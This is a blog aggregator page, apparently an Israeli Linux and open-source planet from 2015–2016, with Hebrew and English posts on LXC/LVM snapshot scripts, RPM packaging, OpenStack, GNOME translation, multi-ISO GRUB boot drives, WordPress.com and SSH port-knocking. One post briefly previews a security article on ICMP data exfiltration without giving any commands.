מה אני אגיד לכם שימוש ב msysgit ו gnuwin נותן יכולות טובות יותר נכון לעכשיו.

10 May, 2016 02:06 PM

29 April, 2016

PyCon Israel

Meet our silver sponsors — Cloudify

Cloudify is an open-source Python Shop developing an orchestration framework for any cloud infrastructure provider allowing to use the…

29 April, 2016 08:55 AM

27 April, 2016

PyCon Israel

Meet our silver sponsors — Cisco!

We connect everything: people, processes, data, and things. We innovate everywhere, taking bold risks to shape the technologies that give…

27 April, 2016 07:46 PM

14 April, 2016

Arie Skliarouk

LLS=LXC+LVM+Snapshots

In our company developers deal with massive datasets that needs to be easy to copy, modify a fraction of it and scrape. Snapshotting is an ideal solution here. Each developer has a personal vserver (LXC container). The missing piece here is to provide them with a way to manipulate partitions and snapshots from inside of their vservers.

To enable users manipulate partitions from inside of the virtual server, I wrote LLS (LXC+LVM+Snapshots) scripts.

LXC+LVM+Snapshots = LLS

LLS system is set of scripts that enable LVM partitions and snapshots to be managed from inside of LXC vservers. It is safer to allow developers to use the scripts, instead of giving them superuser access to the physical machine.

Architecture

The LLS scripts consist from two parts. The daemon script on the host and client scripts on the vservers. The clients communicate with the server over a named pipe in a shared (bind mount) directory /lls (lls - LXC+LVM+Snapshots). The /lls directory is actually a small partition that contains configuration file, the shell scripts and the named pipe used for communcation.
The daemon script does all the necessary low-level manipulations, both on the physical machine and on the LXC vservers.
Usage

Each LLS vserver has /lls partition mounted. To preserve mounts across reboots, the /etc/rc.local file runs /lls/tools/lls_mount_on_boot.sh script.
There are several client scripts the /lls/tools partition that do various operations:
script nameOperation
lls_create_partition.shCreate a partition
lls_create_snapshot.shCreate an LVM snapshot from an existing LVM partition
lls_delete_partition.shDelete an LVM partition or snapshot
lls_list_partitions.shList available LLS partitions and refresh /dev/mf directory
lls_mount_on_boot.shMount LLS partitions using configuration in the /etc/fstab file

The scripts show informative Usage information when ran without arguments.
Developers are expected to operate the scripts by themselves. They are also expected to maintain the /etc/fstab file for mounts they want to survive reboot of their vserver. Unmounted snapshot is assumed to be not necessary anymore and might be deleted at any time.

Further work

As the LLS system is used, more features are asked by developers and system administrators. Here are some of them:
  • Track unused (unmounted) LVM snapshots and delete them automatically
  • Track disk space used/required by LVM snapshot and grow it automatically. Send email to sysadmin each time this happen.
  • Have a way to enable/disable visibility of a LLS partition. This is useful while the LLS partition is under construction.
  • Have a way to mark an LLS partition as non-mountable or mountable in read-only mode.
Download
Version 20111124.

14 April, 2016 12:15 PM

08 April, 2016

Meir Kriheli

מצגת ההרצאה אודות asyncio

AsyncIO נמצאת בספריה הסטנדרטית של פייתון החל מגרסה 3.4, ומספקת תשתית לכתיבת קוד מקבילי הרץ ב-Thread בודד.

ההרצאה אודות AsyncIO שהועברה במסגרת PyWeb-IL 52 זמינה בעמוד הרצאות ומצגות.

08 April, 2016 06:49 AM

25 March, 2016

Shlomi Fish

Freecell Solver 4.2.0 was Released

Freecell Solver version 4.2.0, has been released. It is available in the form of a source archive, from the download page. Freecell Solver is an open source library and some command line applications, for automatically solving several variants of card Solitaire / Patience games, including Freecell.

This release sports the new configuration theme “-l conspiracy-theory” (or “-l ct”) which is somewhat faster than the best contender up to it, “-l amateur-star”, some relatively minor bug fixes, new compile-time options, and many small and somewhat larger code cleanups, refactorings, and optimisations.

“conspiracy-theory” is a reference to the Jewish holiday of Purim, which took place around the time of its release and an old post of mine about it.

Enjoy!

25 March, 2016 04:14 PM

13 March, 2016

Artyom Beilis

לבנות RPM להרבה הפצות

כשאתה מפתח הפרויקט קוד־פתוח, קל מאוד להפיץ קוד מקור, אבל כשזה מגיע לקבצים בינאריים, זה הופך לבעיה הרבה יותר משמעותית. יש עשרות הפצות, כל אחת מגיע במספר גרסאות שונות ומביא אתה חבילות טיפה שונות. לכן, לאדם אחד זה כמעט ובלתי אפשרי לבנות חבילות לכל הפצה אפשרית.

בזכות debootstrap היה לי יחסית קל לבנות חבילות deb ל־Debian ו־Ubuntu, אבל המצב הרבה יותר מורכב כשמדובר ב־rpm כי אין דרך קלה לשים את הפצת rpm בספריה ולעשות לתוכה chroot.

בהמלצת שגיא בן־עקיבא התחלתי להשתמש ב־Open Build Service של OpenSuse.

האמת, אני מאוד מרוצה! כל מה שצריך זה להעלות Source RPM או קובץ spec, כל השאר ייעשה בצורה אוטומטית: בניה למספר הפצות ופלטפורמות, הכנת מקורות מסודרים ואפילו אתה מקבל repository מסודר.

בצורה כזו הכנתי rpmים ל־3 הפצות (Fedora, Suse, CentOS) כולל מספר גרסאות וגם הכל עבור שתי ארכיטקטורות: x86 ו־x86_64.

http://download.opensuse.org/repositories/home:/artyom-beilis/

מה שנותר... להבין כיצד משתמשים בשירות עבור debים

הטקסט המלא

13 March, 2016 02:11 PM

כיצד לא לעשות יוניקוד

הסיפורו של הניסיון להדפיס "שלום" במספר שפות במסוף של חלונות.

http://blog.cppcms.com/post/105

הטקסט המלא

13 March, 2016 02:11 PM

05 March, 2016

Ram on Agmon

מה זה אופן סטאק ולמה כל כך קשה להתקין את זה

אופן סטאק היא כמו הפצת לינוקס, אלא שבמקום להפיץ מערכת לינוקס (שרת, שולחן עבודה, אנדראויד) זו "הפצה" של מערכת וירטואלוזיצה. אופן סטאק היא לוירטואלזיציה, בדומה לאובנטו ללינוקס (אבל הרבה יותר מבוזרת). זו היא מערכת לבניית ענן , כדוגמת מערכות הענן של vmware, או של מיקורסופט. אופן סטאק, יכולה להתממשק להרבה "סוגי" וירטואליזציות. החל מ-kvm, zen ועד פורמטים קנייניים רבים.

היתרון הגדול של המערכת, כמו כל מערכת תוכנה חופשית ראויה, הוא בגמישות ובשליטה, היא מורכבת מרכיבי "ליבה" הכתובים בפייתון, כך שהקוד נגיש על המכונות עצמן. מה שהוסדר, הוא, למעשה אופן התקשורת בין הרכיבים השונים. רכיבים שיכולים להיות מפותחים על ידי אירגונים שונים אך עדיין אם רכיב הניהול, רוצה לבקש להפעיל מכונה על רכיב הוירטואלוזיציה (hypervisor) תהיה להם שפה משותפת, זהו rest api. שכולם "מכירים". כך שהמערכת גמישה לחלוטין, ולכל רכיב יכול להיות (ולעיתים קרובות גם יש) – תחליף.

אופן סטאק בנויה מרכיבי ליבה, שיש להרכיב ולהתאים כמו אבני לגו. ישנם עשרות שירותים כאלו, ומאות הגדרות. ומספיק שהגדרה אחת לא נכונה, וזה לא יעבוד, או לא תמיד יעבוד. והתיעוד לקוי ושגוי. ואם אחת המכונות הפיזיות מאותחלת, דברים מפסיקים לעבוד לגמרי.

אחרי שהצלחתם לייצב מערכת שכזו, צריך לדאוג גם שהיא תהיה שרידה "מוקשחת". מאחר שמדובר על עשרות רכיבים, צריך להבין את אופן העבודה של כל רכיב ורכיב, ולאפשר לו שרידות בהתאם לצרכים. הגמישות של המערכת, מאפשרת, גם לבנות מערכות בעלות שרידות מלאה (100% זמן) שלעיתים הכרחית למערכי ייצור (למשל בתחום התקשורת). בניה של שרידות וזמינות של כל כך הרבה רכיבים, מחייבת הבנה עמוקה בתשתיות תוכנה חופשית.

אופן סטאק כוללת רכיבים רבים, הפונים לרכיבים "חיצוניים" בתחום האיחסון, הרשתות, בסיסי נתונים, מערכות תורים. כל אחד מתחומים אלו, מורכב בעצמו משירותים רבים, שכל אחד מהם צריך להיות יציב גם הוא, אך יותר מכך, צריך להגדיר ולהבטיח שרידות גם ברמה של האפליקציות עצמן.

מכך ברור, שהתקנה של מערכת אופן סטאק יציבה ברמה של מערכות ייצור, היא משימה מורכבת, הדורשת ידע נרחב ועמוק, ויש להתייחס אליה כאל פרויקט תוכנה, ולא כאל מערכות הטמעה "רגילה". זה לא בסיס נתונים, זה יותר דומה להדופ על כל האקו סיסטם שלו. אך הדופ נבנה מתוך דגש על שרידות, כבר בתוך רכיבי המערכת, ואילו אופן סטאק לא.

למזלנו, יש הרבה מאוד הפצות וחברות המבטיחות את המוצר הזה. ממה שבדקתי, רובן, מורכבות מאוד להבנה ולתפעול, ולא נפגשתי במערכת המבטיחה שרידות ברמת מערכות ייצור יחד עם קלות תחזוקה גבוהה. כך שנשארה עוד הרבה עבודה בפני אופן סטאק על מנת שתוכל להיות חלק מהתקנות תוכנות אחרות אצל הלקוח (כאשר, במקום לבצע התקנה אצל הלקוח, מגיעים עם ארון, בו הכל כבר מוכן). הידע הנדרש על מנת לתכנן, לבנות ולתחזק מערכות שכאלו הוא ברמה עמוקה ורחבה ביותר בתחום המערכות חופשיות, סיסטם לינוקס והאוטומציה.

כדי שאפליקציות יכולו לשייט בענן, הן צריכות גישה לשירותים חיצוני. החל משירותי רשת (dns, dhcp, firewall) ועד שירותי שרידות, ניטור, בקרה, בניה, שדרוג. הן למערכות הענן עצמו (אם נרצה לשדרג ארון, או מרכז ייצור, ברמת התוכנה או החומרה) אם אם נרצה לשדרג מופעים של תוכנה הפועלים בענן או לשלוט על התנאים שבהן הן יפעלו (למשל, הזנקה של מכונות בעקבות עומס, וכיבוי שלהן בזמנים אחרים). מכך ברור, שאלו המסוגלים לארגן לעצמם עננים שכאלו, פרטיים, למערכות הייצור, הם רק גופים בעלי משאבים בהיקף גדול. עם הזמן, כאשר אופן סטאק תהיה יציבה יותר ופשוטה יותר להתקה, אין מניעה שהיא תצליח לכבוש ארונות גם אצל אירגונים גדולים פחות.

הטקסט המלא

05 March, 2016 10:50 PM

03 March, 2016

Yosef Or Boczko

מצב תרגום GNOME – לקראת 3.20

ערב טוב.

ניצלתי את חופשת ה„רגילה” הקצרה שלי לתרגום GNOME. בגדול הספקתי לתרגם הכל, להוציא את gitg ואת gnome-builder.

אחוז התרגום עומד על 80% (36069 מחרוזות מתורגמות, 3702 מעורפלות ו־4937 שאינן מתורגמות), בהשוואה ל־82% (37120 מחרוזות מתורגמות, 3326 מעורפלות ו־4675 שאינן מתורגמות) ב־3.18 ו־82% (35965 מחרוזות מתורגמות, 3087 מעורפלות ו־4453 שאינן מתורגמות) ב־3.16.

ניכר כי יש עלייה ברורה במספר המחרוזות שאינן מתורגמות, אולם אני יכול לומר בבירור כי GNOME מתורגם באופן מלא, קרי המשתמש לא יפגוש במחרוזות לא מתורגמות, להוציא שני היישומים המצוינים לעיל.

ניתן לקרוא טיוטת הערות השחרור לגרסה זו של GNOME. גם הפעם לא אסקר השינויים, מקוצר בזמן.

אציין באג בהקשר לתמיכה בכיווניות, במקומות רבים ניתן למצוא תוויות ושאר יישומונים שלא מיושרים כראוי לימין. ראו בבאג כאן. אני מקווה שהבאג יבוא על תיקונו בהקדם.

את השיר, הפעם, אקדיש דווקא לי ולחברי השריונאים.

ערב טוב,

יוסף אור

03 March, 2016 07:24 PM

09 February, 2016

Dan Fruehauf

Spanning files over multiple smaller devices

Imagine you are in Tasmania and need to move 35TB (1 million files) to S3 in the Sydney region. The link between Tasmania and continental Australia will undergo maintenance in the next month, which means either one or both:

In short, I’m going to be presented with a bunch of HDs and I need to copy the data on them, fly to Sydney and upload the data to S3. If the HD given would be 35TB I could just copy the data and be done with it – no dramas. Likely though, the HDs will be smaller than 35TB, so I need to look at a few options of doing that.

Things to consider are:

LVM/ZFS over a few HDs

Building a larger volume over a few HDs require me to connect all HDs at the same time to a machine and if any of them fail I will lose all the data. I decide to not do that – too risky. It’ll also be difficult to debug if anything goes wrong.

tar | split

Not a bad option on its own. An archive can be built and split into parts, then the parts could be copied onto the detination HDs. But the lose of a single HD will prevent me from copying the files on the next HD.

tar also supports -L (tape length) and can potentially split the backup on its own without the use of split. Still, it’ll take a very long time to spool it to multiple HDs as it wouldn’t be able to do it in parallel. In addition, I’ll have to improvise something for untarring and uploading to S3 as I will have no staging area to untar those 35TB. I’ll need something along the lines of tar -O -xf ... | s3cmd.

tar also has an interesting of -L (tape length), which will split a volume to a few tapes. Can’t say I am super keen using it. It has to work the first time.

Span Files

I decided to write a utility that’ll do what I need since there’s only one chance of getting it right – it’s called span-files.sh. It operates in three phases:

The utility is available here:
https://github.com/danfruehauf/Scripts/tree/master/span-files

I’ll let you know how it all went after I do the actual copy. I still wonder whether I forgot some things…


09 February, 2016 12:28 PM

31 January, 2016

Kobi Zamir

Diff , Patch ו Pull Requests

מאז שהתחלתי לפרסם תכנות חופשיות, קבלתי משוב ועזרה בכל מיני צורות. בהתחלה אנשים שהכרתי פשוט באו אלי והציעו לי שיפורים בתוכנות שעזרו להם ועם הזמן, התחלתי לקבל גם מיילים עם הסברים, הצעות, קוד ופאצ'ים.

הטקסט המלא

31 January, 2016 05:35 PM

24 January, 2016

Kobi Zamir

מכתב לא שגרתי

לפני שבוע קבלתי מכתב לא שגרתי לגבי libhdate. ראשית הכותב אינו שגרתי, מדובר באדם בגיל 80 בערך. שנית מדובר בפלטפורמה לא שגרתית Raspberry Pi. ושלישית מדובר בשימוש לא שגרתי בספריה.

הטקסט המלא

24 January, 2016 04:00 PM

23 January, 2016

ik

סיכום שנה – 2015

כרגע כפי שניתן לראות, הבלוג שלי כמעט ולא זוכה לעדכון, וזאת בשל כך ששנת 2015 הייתה שנה מאוד עמוסה ומאתגרת עבורי מבחינה מקצועית.

לצערי לא אוכל לדבר בהרחבה על הרבה מהדברים שהתבצעו, לפחות בינתיים, אך אני מקווה כי שנה מהיום כבר אוכל לחשוף את העיסוקים השונים.

ב2014 "זכיתי" באלימות, ניסיון סחיטה לאחר אלימות הזו, ואז גם מימוש הסחיטה בפועל, כאשר מישהו לא רצה לסדר דברים אצלו ברשת, והחליט שאלימות זו הדרך לפתור דברים.

אך הרבה לפני כן, התחלתי לבצע פרויקטים שהגיעו לאט לאט למשהו גדול יותר, שב 2015 מצאתי את עצמי שקוע רק בהם, ולמעשה גם כרגע אני עדיין עסוק באותם הפרויקטים.

הגעתי למשל למצב שבו אני יושב עם אנשי מתג של חברת תקשורת מוכרת בישראל, והם צוחקים עלי שאני ילד, כי אני "רק" תשע שנים בתחום התקשורת. כאשר אני התחלתי (ועדיין אפילו לא מתקרב לחיתולים)  ללמוד קצת על SS7 ו SIGTAN עבור אחד הפרויקטים.

פרויקט של גוף ממשלתי שהשורשים שלו נטעו בסוף 2012, הגיע למצב של פיילוט ב2015, שעכשיו ב2016 כנראה שיכנס להיות בכל הארץ אצל אותו גוף ממשלתי.

מספר פרויקטים נוספים גם הם נמצאים בשימוש של מספר גופים בארץ שלהם משתמשים רבים התחיל ב2015 ועכשיו מתחיל להתרחב לשימוש גדול עוד יותר.

התחלתי לבצע הרבה ניתוח של דרישות ומימושים קיימים בשביל לשפר אותם וחלקם אפילו לשכתב, ואפילו ליצור סוג של roadmap לפרויקטים שונים, דבר שהתגלה כאתגר מאוד מעניין, אך עדיין אני מוצא כי כתיבת קוד מהנה הרבה יותר מאשר תחזוקה או תכנון ללא מימוש שלי של אותו התכנון.

דברים נוספים שהתחילו ב2013, התפתחו יותר ב2015, כאשר אני מקווה שעד 2017 אוכל כבר להציג ולדבר עליהם בחופשיות יותר, היות והם הולכים לשנות מספר גישות שאנחנו מכירים כיום, במידה ויישארו בכיוון שנכנס כרגע, והיו כמובן משוחררים בקוד פתוח.

בכלל, חשוב לי להדגיש כי כל הדברים האלו מבוססי קוד פתוח שהיה קל מאוד להכניס אותם לפרויקטים האלו, משהו שלפני רק שלוש שלא לדבר על חמש שנים, היה על סף בלתי אפשרי. עכשיו זה אפילו כמעט מתבקש וכבר לא סוג של מילה גסה.

יש אצלי למה לחכות, ואנסה לעדכן יותר את הבלוג תוך כדי.


תויק תחת:asterisk, freeswitch, VoIP, טלפוניה, קוד פתוח, תקשורת

23 January, 2016 02:01 PM

07 January, 2016

Ram on Agmon

שנת 2015, שנת התוכנה החופשית ומקצוע ה- devops

לפעמים, זה כל כך גדול, שנשאלת השאלה, בשביל מה בכלל לנסות להגדיר זאת. כי זה הרי בכל מקום. יותר מאשר אי פעם. תוכנה חופשית, היא כל כך גדולה, כל כך מקיפה כל, שאי אפשר שלא לתהות, היכן צדקנו.

עולם התוכנה, השתנה, בגלל הרשת. כיום, הצורך הוא לייצר זרם אין סופי של תיקוני תוכנה על מנת לשכלל את השירותים כל הזמן. הדרך המודרנית לבצע זאת היא באמצעות פיתוח מתמיד, הדורש גם בדיקות איכות אוטומטיות וניהול מערכות הייצור באמצעות קוד, וכך גם ניטור ביצועים והפצת רכיבי התוכנה.

פיתוח מערכים לשינוי תצורה של מאות תחנות לינוקס, דורשת הכרה של מערכת ההפעלה לקרביה.

אלו הן מערכות חיות, מערכות שפועלות כל הזמן, ושאסור להשבית אותן. תחומים, שפעם היו נחלת אתרים גדולים, כמו שרידות ואבטחה, הפכו להיות נושאים שכל אירגון המנהל מידע, מתייחס אליהם.

בתוך העולם הזה, שבו מערכות המספקות שירות מפתחות ומפותחות באופן מתמיד, נבנו מספר כלים, חופשיים, שדי דחקו לגמרי החוצה כל מתחרה מכל סוג אחר. היקף השימוש בתשתיות חופשיות, מכפיל את עצמו כל שנתיים, וכבר עכשיו, הביקוש לאנשי מקצוע בתחום גדול על ההיצע. "לדעת לינוקס". זה מה שהרבה אנשים רוצים פתאום. פעם, בעודי עומד בתור לאחת מספקי המזון בהרצליה פיתוח, שמעתי מאחורי זוג עובדים מדבר "עכשיו התחלתי, סטאראפ חדש, כן, הכל לינוקס. צריך ללמוד הכל מההתחלה".

המורכבות של המערכות סוחפת מתכנתים, אשר מתייחסים אל מערכת ההפעלה כאל אבני הבניין של המערכות שלהם. הם לומדים להכיר את היכולות של המערכות, ומעצבים צבירים של מחשבים לעמוד בסטנדרטים מוגדרים של תפוקה ואבטחה. כך מפותח מקצוע ה- devops, המוגדר, בערך כמו אחד הרכיבים העיקרים שלו: system linux, שמשם אני בא.

אני לא חושב שזה משנה באיזה קנה מידה של צבירי מחשבים אני עוסק, אני תמיד נהנה להביט באופן שבו מכונה בודדת עובדת. להעמיס עליה, לראות את החיבורים רצים בין המכונות. ברמה הנמוכה, הפיזית, של כלי איש הסיסטם. בניגוד למערכות אחרות, לינוקס מחייבת אותך לחשוב איך היא עובדת. כשמישהו רוצה להרים פרויקט מבוסס תוכנה, הוא לא יכול לעקוב אחרי מדריך. הוא חייב ללמוד, להבין, ולמעשה לכתוב עבור עצמו את המדריך להתקנה. אם אתה לא מבין, זה לא יעבוד.

מחשב עם תוכנה חופשית הוא מערכת יפה, נקייה ומאורגנת. בה ניתן לשלוט על כל רכיב. אנשים העוסקים בתחום, צריכים להכיר גם הצד את הזה של המכונות. לצערי, נתקלתי בהרבה מקרים בהם אנשים מגעים לתחום וחסרים את הידע לרדת לקרביה של מכונה.

בסיסי נתונים, כמו postgress אשר מתוחזק על ידי ממשלת צרפת, הפכו להיות למתחרה ראוי לאורקל בחלק נכבד מהמשימות שלו, ויש כל כך הרבה משימות אחרות שלאורקל אין אף נגיעה קלה בהם. הרעש כבר מספיק כדי להטריד את מנוחת תאגידי הענק מארה"ב. אך לא רק בתחום זה, השחקנים הוותיקים צריכים להתאים את עצמם. ענקים, השולטים על שווקים כמו ווירטואלוזיציה, עלולים למצוא את עצמם די מהר בתחרות מצד הרבה מאוד כיוונים. מערכות מחשב קלאסיות, לא בנויות לעבוד בענן. אך העננים החופשיים המודרנים כבר מתחילים לגשש את דרכם אל פנים האירגון.

פעם הייתי עובר ומנתח את השוק, מי מאיים על מי. כיום, כולם מאוימים על ידי אותה טכנולוגיה, תוכנה חופשית. תאגידי ענק רבים כבר שואלים את עצמם באופן מעשי, איזה כיוון הם יקחו עם התקדמות הטכנולוגיה.

ובתחום אחר, libreoffice אולי נתפס כקונספט מיושן. אך למרות המעבר לחבילות אופיס בענן, הפרויקט נהנה מגידול במספר ההורדות. מאז שפוצל מ openoffice, הפרויקט זכה לתרומה מצד כמות מרשימה של מפתחים. אני זוכר לו חסד נעורים, עוד לפני שירותי המשרד של גוגל בענן, זו היתה התוכנה שאיפשרה לי להגר לגמרי מחלונות ללינוקס. (גליון אלקטרוני).

אך docker הוא ללא ספק ההברקה של השנים האחרונות. טכנולוגיה ישנה נושנה, שהלבישו לה מעטפת מודרנית, הוא נהפך לסנטדרנט דה פאקטו של עולם הענן. תופעה די מדהימה, בהתחשב לכך שכה מעטים היגרו כבר את המערכות שלהם. אבל כולם מדברים על זה. כי בכל מה שנוגע להפצה של תוכנה בקנה מידה גדול, זו כנראה הדרך הפשוטה והאמינה ביותר, יחד עם זה, נראה שרק בסוף השנה הנוכחית, הגיע פתרון האמור לתת תקשורת אמינה בין מופעים של docker גם כאשר הם נמצאים על מחשבים שונים.

תחום בסיסי הנתונים, יצר תפיסה חדשה, בה כבר לא עושים שימוש בבסיס נתונים אחד, אלא ברבים, כל אחד למשימה, לשירות. כך גם התרחב השימוש בתורים, כחלק מהאסטרטגיות פיתוח הבנויות לענן. האופן שבו אפליקציות יכתבו באופן יעיל לעבוד בענן, היא הגביע הקדוש של רבים מאירגוני התוכנה כיום. שימוש נכון, יכול להעלות את היעלות של המערכת ואת היכולות שלהם להתאים עצמם לעומסים בעלויות אופטימליות.

היקף המידע מכפיל את עצמו כל שנתיים, כמו גם גודלה של האינטרנט. למידע הזה, יש ערך, אפשר לנתח אותו ולהפיק ממנו כסף. אירגונים רבים, עוסקים במיון ואיסוף מידע, אך התקציב שלהם, אינו גדל בקצב המאפשר להם להמשיך לרכוש ציוד בהיקף הנדרש. עלות הרשיונות כה גבוהה, עד שהיכלות לקצץ בהוצאות בתחום הרישוי, הופכת להיות לאילוץ אסטרטגי של  אירגונים גדולים.

צורך מביא אירגונים לשינוי. והצורך לטפל בכמויות של המידע, חייב אירגונים לבחון חלופות חופשיות. האיכות הגבוהה להפליא של המוצרים, העלויות הנמוכות להקסים של השימוש, הופכים את היכולות של אירגון להתאים עצמו לתפיסות מודרניות של תוכנה, תקבע את היכולות שלו לשרוד בעידן שבו הפיתוח לעולם לא מוקפא והמידע לעולם לא מספיק לזרום.

לפני זמן מה, שוחחתי עם חבר העובד בחברה גדולה העוסקת בטכנולוגיה חלונאית. הפרויקט נגע לעיבוד מידע בענן. וכאשר שאלתי למה אתם לא עובדים עם חלונות, הם אמרו שהיא פשוט לא יכולה לבצע את זה. אף מוצר שהם בחנולא מבטיח תאימות לחלונות. זה יעבוד, אבל אף אחד לא יכול להבטיח מה זה בדיוק יעשה ובפרט, איך זה יתנהג תחת עומס גבוה.

וקצת על אוהבתי הראשונה, אובנטו. שהיתה הראשונה שעבדה על המחשב שלי, מכונה שכבר לא איתנו הרבה מאוד זמן. אובנטו, פרויקט הפילנדרופיה המגלומני של מארק שאטלוורת הפך להיות למערכת ההפצה הנפוצה ביותר בענן, כשהיא בעצמה גם מהווה את הבסיס לענן האופן סטאק. שלדעתי שני במורכבות שלו רק לקרנל בכבודו ובעצמו.

אז היכן צדקנו? מה כל כך מדבק בתוכנה הזו, בעקרונות העבודה. בכלכלה של "קח לפי צרכיך תן לפי יכולתך"? אולי כי זה מבוסס על רעיונות של חופש. של שוויון בין בני אדם. של קנאות לרעיונות והדרישה שהרעינות של אנשים, תמיד ישארו זמינים לשימוש בידי אנשים אחרים. שלא יהיו סגורים תחת חוקי תאגידים. של כבוד ליצירה של אנשים, בפרט אם היא פיסת קוד. תפיסה של חסכון באופן השימוש במידע, של יעילות ושל חתירה לפתרון של בעיות, ולא בכפוף לשיקולי שיווק, לאום גזע, או דת וכו' וכו'.

אופס. פוסט שלם על תוכנה חופשית בלי להגיד "מיקרוסופט".

הטקסט המלא

07 January, 2016 10:40 PM

18 December, 2015

sml

מנהל הרשת ו-Polkit

על המחשב הנייד הקטן שלי, הלא הוא זעיר בן החמש פלוס, מותקנת עתה אופן-סוזה 13.2 – גם היא כבר ותיקה בת שנה ויותר. לא הייתי מעונין לא בהפצה מתגלגלת ולא בהפצה אוונגרדית, אלא במשהו סולידי ויציב שיניח לי לעסוק בעניינים לא לינוקסיים בנחת. ואף על פי כן, יורד עליו גשם נדבות של עדכונים, לא פעם עשרות ביום ומאות רבות בחודש.

הטקסט המלא

18 December, 2015 04:57 PM

13 December, 2015

Arie Skliarouk

GRUB-based multiple iso booting flash drive

With huge USB flash drives of today it is sad that one can't easily put several bootable ISO images on it and have nice on-boot selection menu.

GRUB to the rescue!

Historically GRUB is being used for hard disks and syslinux for floppies and flash drives. But nothing prevents using GRUB for flash drives as well. Here are instructions for creating bootable GRUB-based USB flash drive (disk on key):

  1. Create vfat partition. For big drives you must use fat32 format.
  2. Unpack the http://t11.meshanet.com/skliarie_blog/boot.tar.gz onto it. It will create single directory boot on the drive.
  3. Customize boot/grub/grub.cfg file, put iso images accordingly
  4. On linux box, put bootable MBR onto the DOK (for example on /dev/sdf):
    1. mount /dev/sdf /mnt/dok
    2. grub-install --force --no-floppy --root-directory=/mnt/dok /dev/sdf
    3. umount /mnt/dok 

    Caveats:

    The ISO image must support GRUB-based booting. Specifically it must be smart enough to locate ISO image on the DOK using parameters specified in grub.cfg file.

    Latest Ubuntu and Debian based ISO images are known to work.

    Thanks to Jonathan Vollebregt there is a way to boot knoppix as well. You will need custom initrd, with your flash drive specific tuning. I built one for mine: knoppix_minirt.gz, you are free to take and modify it according to your DOK and filesystem parameters. Important commands here are:
    1. Unpack the initrd
      gzip -dc /mnt/dok/boot/knoppix/minirt_ska.gz | cpio -i
    2. Modify the init file (put sector numbers that are correct for your DOK)
    3. Compress back the initrd
      find ./ | cpio -H newc -o | gzip -9 -c > /mnt/dok/boot/knoppix/minirt_ska.gz
    Please send me GRUB stanzas for other ISO images and I will put them into the grub.cfg file.

    13 December, 2015 01:33 PM

    07 December, 2015

    Ira Abramov

    תלתפסת לכל פועל

    לפני שלוש שנים הזמנתי, ולפני כחצי שנה קיבלתי תלתפסת מפרויקט ריג'ידבוט בקיקסטארטר. בסוכות השנה הרצאתי על מה שלמדתי על תלתפסות בכלל, ותלתפסות RepRap ביתיות בפרט, ולאחרונה ההרצאה עלתה עם שאר התכנים המצולמים של הכנס לאתר העמותה.

    אני מצרף פה את ההרצאה כפי שפורסמה ביוטיוב, אבל אני מזהיר מראש שלא צפיתי בכולה ואולי יש בעיות בסאונד והתמונות קצת קטנות בצילום. לכן אני כולל מתחת גם את השקופיות עצמן, שתוכלו להגדיל למסך מלא. אם הסאונד בלתי שמיש בעיניכם, אני יכול לנסות לייצר MP3 מהקלטה שביצע עוד חבר שלי שישב בקהל ואותה אולי אוכל לנקות יותר. ספרו לי אם לדעתכם זה דרוש.

    ההרצאה כולה נכתבה להצגה בדפדפן.. הנה לינק, והנה עמבד:


    https://ira.abramov.org/3DPadventures/ אנא גלשו למצג המקורית אם משום מה זה לא מציג לכם פה.

    07 December, 2015 03:42 PM

    02 December, 2015

    Itzik Kotler

    I See Your True ECHO_REQUEST Patterns (Pinging Data Away)

    I've started blogging again! In order to avoid cross-posting between the different blogs, I'll just give a brief paragraph and a link back to the original post. Here we go:

    Getting into a network and getting data out of a network are two different challenges. Just because an employee clicked on a malicious link and got hacked, it doesn’t mean the attacker gets to walk off with PII, Financials, Source Code etc. In this blog post, we’ll explore the known breach method of using ICMP protocol for data exfiltration but with a twist. Instead of showing how to use this breach method with some custom made tools, we’re going to do it using the default and common ping utility– red team style!

    Continue reading: http://blog.safebreach.com/2015/12/02/i-see-your-true-echo_request-patterns-pinging-data-away/

    Full text

    02 December, 2015 07:55 PM

    01 December, 2015

    Meir Kriheli

    מצב התרגום לעברית של Django 1.9

    התחלתי לתרגם מאוחר לאחר הקפאת המחרוזות של Django 1.9, התרגום עמד על 95%.

    מקווה שלא פספסתי את מיזוג המחרוזות של 1.9. נכון ליום שבת, ה־25 בנובמבר התרגום עומד על 100% עבור:

    נשארו בחוץ, שוב, עקב חוסר זמן והיקף המשימה:

    01 December, 2015 07:58 AM

    24 November, 2015

    Yoav Farhi

    וורדפרס.קום, הדור הבא

    אתמול היה יום מיוחד באוטומטיק: השקנו מערכת חדשה לגמרי ב-וורדפרס.קום.

    הנה ההכרזה למשתמשים שמתארת את יתרונות המערכת ואת אופן השימוש בה, והנה פוסט של מאט מלנווג על הדרך שהובילה אותנו להקמת מערכת שונה כל כך ומה אנו מצפים להשיג ממנה. המערכת אגב אמנם הושקה רשמית אתמול, אבל חלקים ממנה שוחררו למשתמשים באופן הדרגתי בשנה האחרונה, במקביל לתחזוקת המערכות הקיימות.

    ברמה הטכנית, מדובר על אפליקציית עמוד אחד (Single Page Application), שעושה שימוש בין השאר ב-React, Flux ו Node, ועובדת מול Rest API פתוח. אולי זה נראה כמו תהליך אופייני של כתיבה מחדש של מערכת, אבל בעיניי מדובר בהרבה יותר מזה. מבחינת המתכנתים באוטומטיק המעבר לעבודה על המערכת החדשה דרש אימוץ של כלים וטכנולוגיות חדשות במהירות שיא, ולמידה תוך כדי תנועה. אנדי פיטלינג, מרכז הפרוייקט, כותב על התהליך מאחורי הקלעים ומסביר על הבחירות שלנו, ועל השינויים שעברנו כחברה כדי ליישם אותן.

    ולמקרה שתהיתם המערכת שוחררה כולה בקוד פתוח, בגיטהאב.

    כן, אנחנו מגייסים עובדים – בואו לעבוד איתנו.


    24 November, 2015 08:51 AM

    16 November, 2015

    Liran Tal

    VeriGreen – lightweight, server side solution for verification of git commits

    Verigreen – https://github.com – is a lightweight, server side solution for verification of git commits. Now open-sourced  by HPE’s VeriGreen team.

     

    The post VeriGreen – lightweight, server side solution for verification of git commits appeared first on Liran Tal's Enginx.

    16 November, 2015 11:13 AM

    08 November, 2015

    Rabin Yasharzadeh

    Run Command Before Starting SSH Connection

    This a quick hack I found while I was looking to run a knock script before connecting to servers which I have the SSH service protected with a knock sequence. In my setup I used the ProxyCommand option in the ssh_config file to loop over my loop-back interface.

    Host server1
        User root
        Hostname server1.com
        ProxyCommand bash -c 'knock-script %h; sleep 1; ssh 127.0.0.1 -W %h:%p'
    
    # in the above
    # %h is a place holder for the hostname i.e server1.com
    # and i added 1 sec delay before running the ssh tunnel
    # to give the script on the server side time to validate my knock.

     

